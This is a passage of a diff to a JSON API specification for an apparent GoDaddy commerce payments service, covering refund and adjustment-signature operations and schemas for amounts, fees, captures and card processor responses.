"https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getAdjustmentSignaturesById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}/signatures", - "summary": "Get Adjustment Signatures", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Adjustment Signature list", - "schema": { - "title": "Adjustment Signatures", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "refundPayment", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/refunds", - "summary": "Refund Payment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "captures": { + "description": "Captures for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" } - }, - "required": [ - "amount", - "type" - ] + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" } }, "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", "type": "string", - "description": "Fee type discriminator" + "x-custom-refnum": true, + "x-custom-type": true } }, "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "readOnly": true, + "type": "array" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "externalProcessor": { + "description": "Processor that has already processed this payment externally", + "type": "string" + }, + "fundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": 